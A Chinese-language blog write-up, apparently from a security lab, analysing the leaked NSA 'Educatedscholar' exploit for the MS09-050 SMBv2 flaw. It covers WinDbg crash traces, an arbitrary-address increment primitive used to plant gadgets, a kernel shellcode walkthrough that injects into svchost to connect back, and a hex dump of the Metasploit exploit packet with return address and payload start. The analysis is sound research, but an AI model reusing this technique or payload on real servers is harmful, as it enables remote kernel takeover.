Educatedscholar利用的漏洞ms09-050分析及其利用的shellcode分析及与msf利用对比

环境搭建

  1. 到msdn I tell you下载完镜像安装完,ping 2008ping不通,但它ping外面却可以,后来发现是默认开启了防火墙,把防火墙关闭了就好
  2. 之后是漏洞利用不成功,原来还要安装域控

实验环境及工具如下:

2008 sp1 datacenter (装了域控)
windbg
VirtualKD-3.0
wireshark

尝试分析

一开始简单了解了一下smb协议,尝试抓取攻击包,看了一下,也看不出什么

于是就修改里面配置文件的返回地址什么的东西为0x41414141,马上发第一个包就崩溃了
(一开始直接下断还断不下来,可能是因为那里初始的时候还不是代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

SYSTEM_THREAD_EXCEPTION_NOT_HANDLED (7e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 80fcb986, The address that the exception occurred at
Arg3: 9aef6c54, Exception Record Address
Arg4: 9aef6950, Context Record Address

Debugging Details:
------------------


EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%p

FAULTING_IP:
srv2!SrvConsumeDataAndComplete+b
80fcb986 83611800 and dword ptr [ecx+18h],0

EXCEPTION_RECORD: 9aef6c54 -- (.exr 0xffffffff9aef6c54)
ExceptionAddress: 80fcb986 (srv2!SrvConsumeDataAndComplete+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141

CONTEXT: 9aef6950 -- (.cxr 0xffffffff9aef6950)
eax=9d9785d0 ebx=9d97b1a8 ecx=41414129 edx=00000000 esi=9d9785d0 edi=8c9cb5a4
eip=80fcb986 esp=9aef6d1c ebp=9aef6d1c iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
srv2!SrvConsumeDataAndComplete+0xb:
80fcb986 83611800 and dword ptr [ecx+18h],0 ds:0023:41414141=????????
Resetting default scope

DEFAULT_BUCKET_ID: STRING_DEREFERENCE

PROCESS_NAME: System

CURRENT_IRQL: 2

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%p

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
srv2!SrvConsumeDataAndComplete+b
80fcb986 83611800 and dword ptr [ecx+18h],0

BUGCHECK_STR: 0x7E

LAST_CONTROL_TRANSFER: from 80fcaae2 to 80fcb986

STACK_TEXT:
9aef6d1c 80fcaae2 9d9785d0 9d9785d0 80fc8800 srv2!SrvConsumeDataAndComplete+0xb
9aef6d34 80fcaab4 9d9785d0 81b0f110 80fc8800 srv2!SrvProcCompleteRequest+0x23
9aef6d50 80fc919f 9d97b008 00000000 8c599ac0 srv2!SrvProcessPacket+0x88
9aef6d7c 81be2a1c 8ada8bd0 1119f9b9 00000000 srv2!SrvProcWorkerThread+0x19a
9aef6dc0 81a3ba3e 80fc9005 8ada8b78 00000000 nt!PspSystemThreadStartup+0x9d
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16


SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: srv2!SrvConsumeDataAndComplete+b

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: srv2

IMAGE_NAME: srv2.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 47918aaa

STACK_COMMAND: .cxr 0xffffffff9aef6950 ; kb

FAILURE_BUCKET_ID: 0x7E_srv2!SrvConsumeDataAndComplete+b

BUCKET_ID: 0x7E_srv2!SrvConsumeDataAndComplete+b

Followup: MachineOwner
---------

kd> dd 0xffdf0908
ffdf0908 00c35646 00000000 00000000 00000000
ffdf0918 00000000 00000000 00000000 00000000
ffdf0928 00000000 00000000 00000000 00000000
ffdf0938 00000000 00000000 00000000 00000000
ffdf0948 00000000 00000000 00000000 00000000
ffdf0958 00000000 00000000 00000000 00000000
ffdf0968 00000000 00000000 00000000 00000000
ffdf0978 00000000 00000000 00000000 00000000

后来就在这个崩溃的函数下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kd> bp srv2!SrvConsumeDataAndComplete
kd> g
Breakpoint 0 hit
srv2!SrvConsumeDataAndComplete:
97dc997b 8bff mov edi,edi
kd> kv
ChildEBP RetAddr Args to Child
9715cd1c 97dc8ae2 8c6b0d10 8c6b0d10 97dc7300 srv2!SrvConsumeDataAndComplete (FPO: [Non-Fpo])
9715cd34 97dc8ab4 8c6b0d10 81b0e110 97dc7300 srv2!SrvProcCompleteRequest+0x23 (FPO: [Non-Fpo])
9715cd50 97dc719f 8c69c958 00000000 8bc6d020 srv2!SrvProcessPacket+0x88 (FPO: [Non-Fpo])
9715cd7c 81be1a1c 8add3cf8 a6838496 00000000 srv2!SrvProcWorkerThread+0x19a (FPO: [Non-Fpo])
9715cdc0 81a3aa3e 97dc7005 8add3ca0 00000000 nt!PspSystemThreadStartup+0x9d
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
kd> dd esp
9aaacd20 97dc8ae2 8c6b0d10 8c6b0d10 97dc7300
9aaacd30 97dc7300 9aaacd50 97dc8ab4 8c6b0d10
9aaacd40 81b0e110 97dc7300 8add3ca0 8c5c8bf0
9aaacd50 9aaacd7c 97dc719f 8c5c8bf0 00000000
9aaacd60 8abe18c8 00000000 00000000 00000000
9aaacd70 9aaacd80 00000006 00000006 9aaacdc0
9aaacd80 81be1a1c 8add3cf8 ab3c8496 00000000
9aaacd90 00000000 00000000 00000001 00000023
kd> dc 8c6b0d10 l60
8c6b0d10 424d53ff 00000072 c8531800 000001bb .SMBr.....S.....
8c6b0d20 00000000 00000000 00000000 00000000 ................
8c6b0d30 02014900 30356843 51463759 53575175 .I..Ch50Y7FQuQWS
8c6b0d40 454c737a 58566272 72626d47 41414129 zsLErbVXGmbr)AAA
8c6b0d50 5666474d 66734b58 58694138 64684b44 MGfVXKsf8AiXDKhd
8c6b0d60 336d7338 44453063 3733394e 74437761 8sm3c0EDN937awCt
8c6b0d70 354f7452 424a7946 6c736f59 70663465 RtO5FyJBYosle4fp
8c6b0d80 ffdf02f4 ffdf02f4 ffdf02f4 34356576 ............ve54
8c6b0d90 7a317978 37444133 4d530200 2e322042 xy1z3AD7..SMB 2.
8c6b0da0 00323030 00000000 00000000 00000002 002.............
8c6b0db0 00000001 00000000 41414089 41414085 .........@AA.@AA
8c6b0dc0 00000000 00000000 00000000 00000000 ................
8c6b0dd0 00000000 00000000 00000000 00000000 ................
8c6b0de0 00000000 00000000 00000000 00000000 ................
8c6b0df0 00000004 00000000 00000000 00000000 ................
8c6b0e00 00000000 00000000 00000000 00000000 ................
8c6b0e10 00000000 00000000 00000000 00000000 ................
8c6b0e20 00000000 00000000 00000000 00000000 ................
8c6b0e30 00000000 00000000 ffffffff 7fffffff ................
8c6b0e40 00000000 00000000 00000000 00000000 ................
8c6b0e50 00000000 00000000 00000000 3fffffe6 ...............?
8c6b0e60 00000001 00000000 00000000 00000000 ................
8c6b0e70 00000000 00000000 00000000 00000000 ................
8c6b0e80 00000000 00000000 00000000 00000000 ................

发现这参数正是客户端发送的smb数据,而异常是获取smb数据+0x3c的数值作为地址+0x18后无法读取的异常
这里的41414129应该是我们设置的值减了0x18后发送过来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PAGE:0003097B ; int __stdcall SrvConsumeDataAndComplete(PVOID DestinationBuffer)
PAGE:0003097B _SrvConsumeDataAndComplete@4 proc near ; CODE XREF: SrvProcCompleteRequest(x,x,x)+1E
PAGE:0003097B
PAGE:0003097B DestinationBuffer= dword ptr 8
PAGE:0003097B
PAGE:0003097B mov edi, edi
PAGE:0003097D push ebp
PAGE:0003097E mov ebp, esp
PAGE:00030980 mov eax, [ebp+DestinationBuffer]
PAGE:00030983 mov ecx, [eax+3Ch]
PAGE:00030986 and dword ptr [ecx+18h], 0
PAGE:0003098A mov ecx, [eax+3Ch]
PAGE:0003098D and dword ptr [ecx+1Ch], 0
PAGE:00030991 push eax ; DestinationBuffer
PAGE:00030992 call _SrvConsumeDataAndComplete2@4 ; SrvConsumeDataAndComplete2(x)
PAGE:00030997 pop ebp
PAGE:00030998 retn 4
PAGE:00030998 _SrvConsumeDataAndComplete@4 endp

那我们把值改回原来的值0xffdf0908再调试

判断目标系统版本信息

协商后,发送SMB Command: Session Setup AndX (0x73)包

发送SMB Command: Session Setup AndX (0x73)包

然后服务器就怪怪返回了信息了(SMB Command: Session Setup AndX (0x73))

服务器返回信息

两个的command都是0x73,怎么判断哪个是request,那个是response呢?原来在flags里(request是0,response是1)

flags

后面两个包用意不知如何

  1. Tree Connect AndX Request (0x75) Path: \192.168.52.145\IPC$
  2. NT Create AndX Request (0xa2) File Name: browser

判断漏洞是否存在(存疑)

下面仅为猜测,调试的时候是下面路径,但是调试的时候的NewIrql指向的并不是SMB的数据

最后下面这个条件也不满足就直接退出了

后来跟导师沟通,知道是处理Process ID High的时候导致一个错误的返回值从而进入错误流程
下面为Smb2ValidateProviderCallback函数尾部截图

最终不等于0xC0000016,进入了错误流程

利用对任意地址+1的操作写入gadgets

利用的指令如下

对地址执行+1操作代码

通过发一个包对目标地址+1,写入如下gadgets

下面以一个包为例子说明写入经过的流程

首先包传进来给srv2!SrvProcessPacket处理,其中NewIrql指向SMB数据,也即下面截图中的esi

下面这个就是else,调用SrvConsumeDataAndComplete

SrvConsumeDataAndComplete又调用了调用SrvConsumeDataAndComplete2,其实就是将一些偏移置0

接下来开始是顺序执行

我们看看LABEL_56是什么,原来是刚刚调过的那个if里面最后的一小段

那我们继续跟看看,原来调用了这里

其实在这里面还可以跟

我们看看 LABEL_13

继续,就到下面的+1操作了

这里可能看得有点问题,看汇编好看一点

就这样完成了对任意地址+1的操作,过程真是漫长

最终写如效果如下

总结一下,就是通过控制某些偏移,控制if。整个过程如下:

SrvProcessPacket—>SrvProcCompleteRequest—>SrvConsumeDataAndComplete—>SrvConsumeDataAndComplete2—>SrvProcCompleteRequest—>SrvProcPartialCompleteCompoundedRequest

最后一个包利用漏洞分析

可以从下面看到调用轨迹跟上面一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kd> ba e1 0xffdf0908
kd> bl
0 e ffdf0908 e 1 0001 (0001)

kd> g
Breakpoint 0 hit
ffdf0908 46 inc esi
kd> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
8f4e9cc8 97dc8b93 8c5cb0e8 8c5cb128 00000000 0xffdf0908
8f4e9ce8 97dc996f 8c5cb0e8 00000000 00000001 srv2!SrvProcCompleteRequest+0xd4 (FPO: [Non-Fpo])
8f4e9d10 97dc9997 3fffffe6 8f4e9d34 97dc8ae2 srv2!SrvConsumeDataAndComplete2+0x35e (FPO: [Non-Fpo])
8f4e9d1c 97dc8ae2 8c5cb0e8 8c5cb0e8 97dc7300 srv2!SrvConsumeDataAndComplete+0x1c (FPO: [Non-Fpo])
8f4e9d34 97dc8ab4 8c5cb0e8 81b0e110 97dc7300 srv2!SrvProcCompleteRequest+0x23 (FPO: [Non-Fpo])
8f4e9d50 97dc719f 8bdfa3f0 00000000 8add31f8 srv2!SrvProcessPacket+0x88 (FPO: [Non-Fpo])
8f4e9d7c 81be1a1c 00000000 bed8d496 00000000 srv2!SrvProcWorkerThread+0x19a (FPO: [Non-Fpo])
8f4e9dc0 81a3aa3e 97dc7005 8add3ca0 00000000 nt!PspSystemThreadStartup+0x9d
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

下面给出最后一次调用srv2!SrvProcCompleteRequest的流程

shellcode分析

通过上面写入的gadgets将eip控制到了可控区域:SMB数据那里

之后巧妙妙地跳过垃圾代码

最后就到达真正的shellcode处了

下面一步步跟一下shellcode

这还是一个小跳转

上面应该是8c69a2a8,写错了

就跳到下面来

之后又跳转了,很多干扰

之后又是一个call,又跳回来

1
8c69a605 e8b2fcffff      call    8c69a2bc

之后有一段寻找内存值为905A4Dh的,一开是不知道是什么

仔细一看,原来是PE文件头,后来发下你个地址每次的装载地址都不变,lm看了一下是ntkrpamp.exe这个模块的空间,这个应该是很重要的东西,

跟着通过上面ntkrpamp.exe这个找到很多内核的api地址

我看应该是类似于导出表

后来看到nt!_imp__VidBitBlt 正好指向上面的pe文件头,这个好像没啥用。。。

再后来就精彩了,既然找到api函数地址了,就开始调用了

首先nt!ExAllocatePool申请内存, (复制将要执行的汇编代码到这个申请的内存)

之后调用nt!PsGetCurrentProcess

接下来是一个循环查找svchost.exe,attach上去再detach,不断循环
找到后进行如下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nt!KeStackAttachProcess(attach上去)

通过独特的算法(xoradd等运算后和一个常量比较)寻找svchost.exe这个进程,attach上去

之后nt!ZwAllocateVirtualMemory分配内存

nt!PsGetCurrentThread

通过nt!KeServiceDescriptorTable索引(eax+12C)--->
8be067a8 8b802c010000 mov eax,dword ptr [eax+12Ch]
8be067ae 8b00 mov eax,dword ptr [eax] ds:0023:81b43b00=81ac4970
8be067b0 8b80f8050000 mov eax,dword ptr [eax+5F8h]
8be067b6 894724 mov dword ptr [edi+24h],eax

nt!ObGetObjectSecurity+0x1cb6
之后nt!HalPrivateDispatchTable

之后nt!memset了两次,置0后重新复制
最后
KeUnstackDetachProcess
nt!ExFreePool

最后回到nt!KeRemoveQueue,就启动了svchost尝试连接攻击者,怎么启动连接的还没搞清楚

与msf的简单对比

发送的数据如下(AAAA后面的是返回地址,再之后就是加密的payload,payload部分没有全部展示出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
8c69f530 ff 53 4d 42 72 00 00 00 00 18 53 c8 17 02 00 e9  .SMBr.....S.....
8c69f540 58 01 00 00 00 00 00 00 00 00 00 00 00 00 8c 6e X..............n
8c69f550 00 7b 03 02 04 0d df ff 04 0d df ff 04 0d df ff .{..............
8c69f560 04 0d df ff 04 0d df ff 04 0d df ff 04 0d df ff ................
8c69f570 04 0d df ff 04 0d df ff 04 0d df ff 04 0d df ff ................
8c69f580 04 0d df ff 04 0d df ff 04 0d df ff 04 0d df ff ................
8c69f590 04 0d df ff 04 0d df ff 04 0d df ff 04 0d df ff ................
8c69f5a0 04 0d df ff 04 0d df ff 04 0d df ff 04 0d df ff ................
8c69f5b0 04 0d df ff 04 0d df ff 00 02 53 4d 42 20 32 2e ..........SMB 2.
8c69f5c0 30 30 32 00 00 00 00 00 00 00 00 00 00 00 00 00 002.............
8c69f5d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f5e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f5f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
8c69f650 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
8c69f660 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
8c69f670 42 42 42 42 42 42 42 42 42 42 42 42 b4 ff ff 3f BBBBBBBBBBBB...?
8c69f680 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
8c69f690 41 41 41 41 41 41 41 41 09 0d d0 ff fc fa eb 1e AAAAAAAA........
8c69f6a0 5e 68 76 01 00 00 59 0f 32 89 46 5d 8b 7e 61 89 ^hv...Y.2.F].~a.
8c69f6b0 f8 0f 30 b9 16 02 00 00 f3 a4 fb f4 eb fd e8 dd ..0.............
8c69f6c0 ff ff ff 6a 00 9c 60 e8 00 00 00 00 58 8b 58 54 ...j..`.....X.XT
8c69f6d0 89 5c 24 24 81 f9 de c0 ad de 75 10 68 76 01 00 .\$$......u.hv..
8c69f6e0 00 59 89 d8 31 d2 0f 30 31 c0 eb 31 8b 32 0f b6 .Y..1..01..1.2..
8c69f6f0 1e 66 81 fb c3 00 75 25 8b 58 5c 8d 5b 69 89 1a .f....u%.X\.[i..
8c69f700 b8 01 00 00 80 0f a2 81 e2 00 00 10 00 74 0e ba .............t..
......
......

之后利用下面的代码对smb数据的第一个dword+1操作(之后漏洞利用的时候有用)

结果如下(0xff+1=0x00 进位,所以后面也要加1, 0x53+1=0x54)

利用的位置有点不一样,但大同小异(v36也是1,这是必须保证的)

之后就直到漏洞利用处,流程相对简单

对于开始的前两字节的写入,说明如下:

利用漏洞将返回地址处

1
97dc8b91 ffd0            call    eax {ffd00d09}

那里是一个pop esi ret //kernels HAL memory region …no ASLR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kd> g
Breakpoint 0 hit
ffd00d09 5e pop esi
kd> t
ffd00d0a c3 ret
kd> t
8c69f530 00544d42 add byte ptr [ebp+ecx*2+42h],dl
kd> dc 8c69f530
8c69f530 424d5400 00000072 c8531800 e9000217 .TMBr.....S.....
8c69f540 00000158 00000000 00000000 e6540000 X.............T.
8c69f550 02037b00 ffdf0d04 ffdf0d04 ffdf0d04 .{..............
8c69f560 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04 ................
8c69f570 00000000 00000000 97dacc1f 8c69f530 ............0.i.
8c69f580 97dac57a 00000000 ffdf0d04 ffdf0d04 z...............
8c69f590 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04 ................
8c69f5a0 ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04 ................

从上可以看到跳到了smb数据开始处,正是开始的修改起了作用,利用得非常秒

最后就是真正地执行shellcode了,比NSA简单多了

总结

  1. 在NSA的工具中利用了两个漏洞,一个是对任意地址+1的操作,另一个是逻辑漏洞,没有对数据进行校验,就直接call了

  2. 当时傻傻地跟,由于对 lock xadd 指令不熟悉,所以对其印象深刻,后来看看NSA工具的输出,为什么发那么多包,回想一下应该这个指令+1操作了,后来对地址下写入断点确认了

  3. 猜想:搞那么长调用路径,目标应该是使SrvProcCompleteRequest的第3个参数为1,从而执行call eax

  4. NSA整个漏洞利用的过程:

    1. 先探测目标系统的版本信息
    2. 判断该目标是否存在
    3. 利用对任意地址+1的操作写入gadgets,最后利用逻辑漏洞跳到gadgets处利用漏洞
  5. shellcode很多坑,很能抗静态分析,相对复杂,基本只能动态跟

一些小问题:

  1. 一开始直接下断还断不下来,应该是因为那里初始的时候还不是代码,ba e1比较好
  2. 搭建环境挺浪费时间的
自愿打赏专区